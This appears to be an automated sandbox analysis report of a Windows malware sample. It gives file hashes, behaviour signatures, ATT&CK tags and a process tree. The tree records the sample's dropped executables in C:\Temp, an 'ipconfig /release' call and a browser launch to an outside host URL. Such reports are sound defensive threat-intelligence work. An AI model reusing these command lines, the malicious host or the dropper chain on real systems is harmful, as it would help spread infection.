73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d

Analysis

max time kernel
146s
max time network
124s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
29/11/2022, 14:53

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General

Target

73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
Size

361KB
MD5

1a4852c02e5fe42ea7fceec0cf85386a
SHA1

e6e51b540a376541742377ba8a4abde852850499
SHA256

73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d
SHA512

74f7801d08421c7f0af25b4029df27d7f5d2982d730d8997302dd6eec6e8641c07f391a2586a8b7f15d363920de60af17780e312b1b0121e79fa4558a31d4c1d
SSDEEP

6144:lflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:lflfAsiVGjSGecvX

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
1536	miesojcythdwrnjf.exe
748	CreateProcess.exe
1460	lhbxurnhda.exe
1472	CreateProcess.exe

Loads dropped DLL 4 IoCs

pid	Process
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1460	lhbxurnhda.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1688	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 23 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B5915500-7112-11ED-8803-52E8C5FCC7C7} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1536	miesojcythdwrnjf.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe
1460	lhbxurnhda.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2040	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2040	iexplore.exe
2040	iexplore.exe
1836	IEXPLORE.EXE
1836	IEXPLORE.EXE
1836	IEXPLORE.EXE
1836	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 812 wrote to memory of 1536	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	27
PID 812 wrote to memory of 1536	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	27
PID 812 wrote to memory of 1536	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	27
PID 812 wrote to memory of 1536	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	27
PID 812 wrote to memory of 2040	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	28
PID 812 wrote to memory of 2040	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	28
PID 812 wrote to memory of 2040	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	28
PID 812 wrote to memory of 2040	812	73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe	28
PID 2040 wrote to memory of 1836	2040	iexplore.exe	30
PID 2040 wrote to memory of 1836	2040	iexplore.exe	30
PID 2040 wrote to memory of 1836	2040	iexplore.exe	30
PID 2040 wrote to memory of 1836	2040	iexplore.exe	30
PID 1536 wrote to memory of 748	1536	miesojcythdwrnjf.exe	32
PID 1536 wrote to memory of 748	1536	miesojcythdwrnjf.exe	32
PID 1536 wrote to memory of 748	1536	miesojcythdwrnjf.exe	32
PID 1536 wrote to memory of 748	1536	miesojcythdwrnjf.exe	32
PID 1460 wrote to memory of 1472	1460	lhbxurnhda.exe	34
PID 1460 wrote to memory of 1472	1460	lhbxurnhda.exe	34
PID 1460 wrote to memory of 1472	1460	lhbxurnhda.exe	34
PID 1460 wrote to memory of 1472	1460	lhbxurnhda.exe	34

C:\Users\Admin\AppData\Local\Temp\73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe
"C:\Users\Admin\AppData\Local\Temp\73ceddcee12e222bd40d57f3d9eec8d43964d3488368c534e0ab8dcdc717984d.exe"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:812
- C:\Temp\miesojcythdwrnjf.exe
  C:\Temp\miesojcythdwrnjf.exe run
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lhbxurnhda.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:748
  - - C:\Temp\lhbxurnhda.exe
      C:\Temp\lhbxurnhda.exe ups_run
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1460
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1472
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1688
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2040 CREDAT:275457 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:1836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
C:\Temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
C:\Temp\lhbxurnhda.exe

Filesize
361KB

MD5
f0f94ffd78b2afcd6be8ba137a04771b

SHA1
b25cf7920808ac61d9255a8b5fc4fe82a3dee472

SHA256
23c41cef06fa534f233370e9a328b2eaca16ae7e8fac5d86a1c8e6ea0750c46f

SHA512
501cd205a8f9a99d129e4b6b89931524e7604d83e56d17b9f6010e54134128435ee7025ef3a6f5589171a812d092541a2c2214bfbf934650f1679dd5a146c884

Download Submit
C:\Temp\miesojcythdwrnjf.exe

Filesize
361KB

MD5
e3453e46aba6847389697fbabd6f8996

SHA1
a5a971b72f8f74cbcec5dd524e52a7cba617f0f4

SHA256
dbd5a9f75f297766d1ae963f2b4edc4248ccd1c432f3fda5f39924750957c9c5

SHA512
35b3a9f23a7e24cf208d1ea95638398909bae1b0b3e3cbb8788f30c6d1e14604398b7b00b53049a6affc9618ec6ddce274e886354698c322320dc05d6283f206

Download Submit
C:\Temp\miesojcythdwrnjf.exe

Filesize
361KB

MD5
e3453e46aba6847389697fbabd6f8996

SHA1
a5a971b72f8f74cbcec5dd524e52a7cba617f0f4

SHA256
dbd5a9f75f297766d1ae963f2b4edc4248ccd1c432f3fda5f39924750957c9c5

SHA512
35b3a9f23a7e24cf208d1ea95638398909bae1b0b3e3cbb8788f30c6d1e14604398b7b00b53049a6affc9618ec6ddce274e886354698c322320dc05d6283f206

Download Submit
C:\temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
\Temp\CreateProcess.exe

Filesize
3KB

MD5
fa4cfbe434c17e2e90b46e5c217d7d06

SHA1
863f6a556a2198e9005b3277c7e073d2123b1a3b

SHA256
3d398ca6e449e82f7210eb7a2d58f8f865c3130c7585b0b4a2c50d3eac2bdc99

SHA512
833861291e7206efa2bb13379d97be1a52f2280ee3c97abf7a9eb01e96c19dc44e831d633a831233de1063130ebdb5196d11a9b495a770b10c9043eeec1358c4

Download Submit
\Temp\miesojcythdwrnjf.exe

Filesize
361KB

MD5
e3453e46aba6847389697fbabd6f8996

SHA1
a5a971b72f8f74cbcec5dd524e52a7cba617f0f4

SHA256
dbd5a9f75f297766d1ae963f2b4edc4248ccd1c432f3fda5f39924750957c9c5

SHA512
35b3a9f23a7e24cf208d1ea95638398909bae1b0b3e3cbb8788f30c6d1e14604398b7b00b53049a6affc9618ec6ddce274e886354698c322320dc05d6283f206

Download Submit